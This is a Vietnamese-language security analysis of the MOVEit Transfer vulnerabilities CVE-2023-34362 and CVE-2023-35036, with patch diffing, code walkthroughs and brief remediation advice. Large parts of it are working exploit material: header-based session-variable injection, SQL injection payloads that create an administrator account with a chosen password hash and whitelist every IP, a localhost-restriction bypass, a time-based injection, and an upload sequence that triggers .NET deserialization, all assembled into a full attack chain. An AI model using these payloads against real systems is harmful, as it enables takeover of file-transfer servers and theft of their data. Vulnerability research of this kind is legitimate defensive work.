CVE-2023-34362
Advisory
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023Setup
Official installation documentation: https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html Affected version: https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0/MOVEit-Transfer-2023.0.0-FullInstall.exe Fix version: Tải ở trang chủ, sau khi nhận được email
Download & Install
và chạy file vừa tải xuống, trong quá trình install lưu lại activation key để dùng cho việc cài đặt bản unpatched.
Khi cài đặt thì có key như dưới dây:



Analysis
Sau khi đã được decompile và diff code, ta thấy có sự thay đổi ở hàm UserGetUsersWithEmailAddress tại file UserEngine.cs là đáng chú ý.


SLIGuestAccess.cs
(guestaccess.aspx
)

SILGuessAccess.PerformAction()
gọi đến MsgEngine.MsgPostForGuest()
và dùng this.m_pkginfo
làm tham số

text
được lấy từ giá trị package info này.
/Untitled%209.png)
PkgInfo.SelfProvisionedRecips
load từ session

SetAllSessionVarsFromHeaders
trong SILMachine2.cs
để set các giá trị trên


guestaccess.aspx
- Set validation code
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgValidationCode: 2 Cookie: <session cookie of above>
- Set access code
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgAccessCode: 2 Cookie: <session cookie of above>
- Set permission
Mục đích: pass đoạn code nàyGET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPermission: 5 Cookie: <session cookie of above>
- Set package id
Mục đích:GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgID: 0 Cookie: <session cookie of above>
PkgInfo.IsSelfProvisioned=true
→ call đến sink - Set guest email address
Mục đích: thỏa mãn điều kiệnGET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyGuestEmailAddr: bla@gmail.com Cookie: <session cookie of above>
SILUtility.isValidEmail(FromEmailAddr, false)
- Set payload SQL injection
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgSelfProvisionedRecips: blabla' or 1=1-- - Cookie: <session cookie of above>
- Set username
Mục đích: làm choGET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyUsername: Guest Cookie: <session cookie of above>
m_foundactivesession=true
Your session has expired.
xảy ra do đoạn if sau

/guestaccess.aspx?arg06=2
để lấy csrf token

POST /guestaccess.aspx HTTP/1.1
Host: localhost
Content-Length: 92
Cookie: <session cookie of above>
Connection: close
csrftoken=<csrf_token>&transaction=secmsgpost&arg06=2&arg05=send
Kết quả

From SQL Injection to admin privilege escalation
Vì data trả về của câu query không in ra màn hình nên chúng ta không thể dump bằng Union Based. Thử payload stack query với sleep(10) thì thời gian server trả về reponse là hơn 10s ⇒ có thể sử dụng stack query
');INSERT INTO moveittransfer.users (Username) VALUES ('y8pm5hoet340m4bz');UPDATE moveittransfer.users SET LoginName='notaidh' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Permission='40' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Password='PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET InstID='4490' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='y8pm5hoet340m4bz';-- -
Trong đó:
y8pm5hoet340m4bz
→ giá trị random bất kìnotaidh
→ username để login40
→ quyền của account này (có thể là 30 hoặc 40)PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf
- hash của passwordCaheo@1234
ứng vớiInstID
là4490

hostpermits
Payload insert whitelist IP thông qua SQL Injection như sau:
INSERT INTO moveittransfer.hostpermits (Comment) VALUES ('{RANDOM_STRING}');UPDATE moveittransfer.hostpermits SET InstID='{instID}' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Rule='1' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET PermitID='3' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Priority='1' WHERE Comment='{RANDOM_STRING}';
Trong đó:
{RANDOM_STRING}
là chuỗi bất kì{instID}
được lấy từ cookie*.*.*.*
cho phép tất cả dãy ip
notaidh/Caheo@1234
thành công.

Unsafe .NET Deserialization
Dù đã tham khảo qua log của các server bị attack trên internet, mình không thấy nhắc đến việc tấn công RCE thông qua unsafe .NET deserialization, phải chờ tới lúc có một số twitter thông báo thì mình mới đi theo hướng này, một phần là vì trong lúc diff, đoạn code gây ra unsafe .NET deserialization cũng không có gì thay đổi. Search trong source decompiled với keyword.Deserialize(
và lọc đi những folder trong lib thì còn lại một số kết quả như sau:


this._uploadState
được lấy từ database


{id}/files
với method PUT. Prefix của controller này là api/v1/folders
hay cụ thể entrypoint để vào được tới đây: api/v1/folders/{id}/files




ResumableUploadFileInitHandler.GetResult()
, tại đây thực hiện kiểm tra file đã tồn hay chưa, và sau đó gọi đến CreateUploadInfo()


FileID
ứng với file này.
Tiếp theo một request PUT được gửi đến server để cập nhật nội dung file với fileId
tương ứng


GetUploadStream()
, ở method này thực hiện một vài kiểm tra đối với file đồng thời call đến GetFileUploadInfo()
để lấy thông tin từ file upload

State
sẽ được DBFieldDecrypt → Base64 Decode và gán vào this._uploadState

DeserializeFileUploadStream()
- sink .NET insecure deser.

State
là rỗng nên không thể reach được đoạn code này.
- Cách 1: Set trực tiếp State thông qua hàm Serialize như dưới đây:
this.IsUploadCompleted()
return false hay nói cách khác là chưa hoàn thành quá trình upload.


IsUploadCompleted()
như sau, thực hiện kiểm tra nếu _fileSize==0
hoặc _range.To
bằng với _fileSize -1
→ đã hoàn thành quá trình upload

_range
ở đây là Content-Range và trong ngữ cảnh hiện tại thì mang giá trị bytes 0-666/667

POST /api/v1/folders/<folderID>/files?uploadType=resumable HTTP/1.1
Host: localhost
Cookie: <cookie>
Connection: close
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="name"
<name>
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="size"
100
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="comments"
<comments>
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV--
PUT 1:
PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1
Host: localhost
Content-Length: 50
Content-Type: application/octet-stream
Content-Range: bytes 0-49/100
<Payload .NET deser>
PUT 2:
PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1
Host: localhost
Content-Length: 50
Content-Type: application/octet-stream
Content-Range: bytes 50-99/100
"a"*50
Request PUT lần thứ 2 sẽ trigger payload deser.
Lưu ý: PUT requests phải đảm bảo giá trị của các trường Content-Range
, Content-Length
và size
trong POST request thỏa mãn đoạn code trong method CheckRange()
nếu không server sẽ báo lỗi


FileTransferStream
chứ không phải payload deser ban đầu.


- Cách 2: Set gián tiếp State thông qua cách sử dụng SQL Injection

comments
sau đó sql injection để update cột State
bằng với giá trị này
Request như sau:
GET /machine2.aspx HTTP/1.1
Host: localhost
Cache-Control: max-age=0
X-siLock-Transaction: session_setvars
X-siLock-SessVar: MyPkgSelfProvisionedRecips: '); update fileuploadinfo set state=comment where fileid='<fileID>';-- -
Cookie: <session cookie of above>
Localhost access restriction bypass
Dựa vào các thông tin đã biết trong cộng đồng InfoSec, ta biết rằng attacker có thực hiện request đến MOVEitSAPI Service (moveitsapi.dll
) nhằm thực hiện các chức năng trong machine2.aspx
.
Thư mục chứa file này nằm tại C:\MOVEitTransfer\MOVEitISAPI\
.

- GetExtensionVersion
- HttpExtensionProc
- TerminateExtension
action
đưa vào.

action=m2
như hình dưới đây:

action
không thỏa những module phía trên, sẽ ghi nội dung lỗi ra file log nằm tại C:\MOVEitTransfer\Logs\DMZ_ISAPI.log
. Nếu không thì sẽ tiếp tục chạy vào hàm sub_7FFCBE9C0920
để tiếp tục.
Trong hàm sub_7FFCBE9C0920
thực hiện các thao tác chuẩn bị cookie và headers cho phép để tiến hành forward đến machine2.aspx
, nhưng lại không hỗ trợ giá trị X-siLock-Transaction
là session_setvars
.

get_header
(renamed) chỉ kiểm tra chuỗi truyền vào có tồn tại trong request header hay không và sử dụng hàm stricmp
(case-insensitive) để so sánh. Từ đó, để bypass được đoạn này, ta chỉ cần đặt chuỗi X-siLock-Transaction: folder_add_by_path
vào bất kì vị trí nào trong request header.
Ví dụ khi header này được đưa vào bên trong header Cookie
:
POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: localhost
X-siLock-Transaction: session_setvars
Cookie: ASP.NET_SessionId=fikqem521kve5jdpm151icz4; siLockLongTermInstID=4490; X-siLock-Transaction: folder_add_by_path
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Khi nhận thấy SSRF thành công vào /machine2.aspx
, ta lợi dụng method SetAllSessionVarsFromHeaders
để set các thuộc tính cho session object thông qua header.

Full chain:
Set các header và payload insert account admin, insert whitelist IP thông qua SQL injection tại/moveitisapi/moveitisapi.dll?action=m2
(machine2.aspx) → Trigger SQL Injection tại guestaccess.aspx
→ login account admin → get token and folder id → upload file chứa payload deserialize ở comments (method POST) → update state
từ comment
(giống như step 1 và 2) → trigger deserialize (method PUT)
POC:
https://youtu.be/ipAc4NVo6rA Sau khi reproduce thành công CVE-2023-34362, mình phát hiện CVE-2023-35036 của nó vừa được pubic cách đây vài ngày và root cause vẫn là SQL Injection nên sẵn đang trên đà phân tích thì mình cũng bắt tay vào làm CVE này luôn./Untitled%2052.png)
CVE-2023-35036
Advisory
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023Setup
Official installation documentation: https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html Patch: https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0.2/MOVEitTransfer-2023.0.2-dropins.zip?_ga=2.163471480.538842659.1686756244-1856875567.1686192529 Quá trình cài đặt sẽ tương tự như CVE phía trên.Analysis
Dựa vào hướng dẫn patch, tiến hành tìm sự thay đổi trong các file sau đây
FolderIDToPath()
trong FolderEngine.cs

CleanForSQL()
trong SILUtility.cs

Main()
trong SILCertToUser.cs

FolderIDToPath()
thực hiện nối các giá trị vào câu truy vấn ⇒ có thể khai thác sqli

this._globals.objUser.InstID
- giá trị này khó có thể kiểm soátempty
vàempty2
- được gán thông quaSILUtility.SplitFolderIDAndPathHash()
-
trong chuỗi Input
(hay FolderID
) sau đó gán lại giá trị cho các tham số được tham chiếu.

FolderIDToPath()


SILMachine.cs
và SILMachine2.cs
Đối với SILMachine.cs
, input sẽ được lấy từ Arg01
và Arg02

argXX
đều sẽ bị encode bởi SILUtility.XHTMLClean()


SILMachine2.cs
, this.InputFolderID
và this.InputRelativePath
được đưa vào làm tham số cho method này.

X-siLock-RelativePath
, X-siLock-FolderID


GetHeaderValForSQL()
gọi đến SILUtility.CleanForSQL()

CleanForSQL()
định nghĩa các “disallow” characters trong text
và gọi đến SILUtility.CustomCleanDisabllow()


GET /machine2.aspx HTTP/1.1
Host: localhost
X-siLock-Transaction: large_upload_start
X-siLock-RelativePath: path
X-siLock-FolderID: 222-333
Cookie: <cookie>
Call stack


"';
→ bypass với \
Sqli trigger time delay:

POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: 192.168.169.173
aX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: large_upload_start
Cookie: <cookie>
X-siLock-RelativePath: path
X-siLock-FolderID: 222\- OR sleep(2)#
Về method Main()
trong SILCertToUser.cs

SILUtility.MakeCertWrapperFromRequest()
Tại method này, nếu tồn tại cert được gửi thông qua request header X-IPSGW-ClientCert
thì sẽ thực hiện khởi tạo một instance của SILClientCert
dựa trên giá trị đó và gán cho silclientCert
, ngược lại sẽ lấy từ cert của trình duyệt



CN
thành payload sqli trigger time delay



Unsafe .NET Deserialization
Khi SQL Injection thành công và trong trường hợp có thể sử dụng stack query, chúng ta có thể tiếp tục exploit insecure deser tương tự như CVE phía trên bởi vì đoạn code đó đều không thay đổi ở cả 2 phiên bản.Remediation
Hiện tại thì MOVEit Transfer đã có publish phiên bản mới nhất là 15.0.2 để patch 2 CVE trên. Vì vậy hãy update version của MOVEit Transfer lên version mới nhất để đảm bảo an toàn bảo mật.Writen by taidh x stk x to^
1273 lượt xem
Analysis CVE-2023-34362 & CVE-2023-35036 (MOVEit Transfer)
MOVEit Transfer - Introduction
MOVEit Transfer là một phần mềm quản lý, truyền tải tập tin an toàn và bảo mật. Nó cung cấp một giải pháp tổng thể cho việc trao đổi tập tin và dữ liệu giữa các đối tác, khách hàng và hệ thống trong môi trường kinh doanh. MOVEit Transfer cho phép ta truyền tải tập tin qua các kênh bảo mật như SFTP, FTPS, HTTPS và AS2. Nó cung cấp tính năng quản lý và theo dõi tập tin, đảm bảo tính toàn vẹn và bảo mật của dữ liệu trong quá trình truyền tải. Phần mềm này cũng cung cấp các tính năng quản lý quyền truy cập, giúp người dùng kiểm soát và quản lý quyền truy cập vào các tập tin và thư mục. Ngoài ra, MOVEit Transfer còn hỗ trợ các tính năng như lập lịch truyền tải, mã hóa dữ liệu, kiểm soát tốc độ truyền tải và theo dõi hoạt động truyền tải. MOVEit Transfer được sử dụng rộng rãi trong các tổ chức và doanh nghiệp để truyền tải tập tin và dữ liệu quan trọng một cách an toàn, tin cậy và tuân thủ các quy định bảo mật.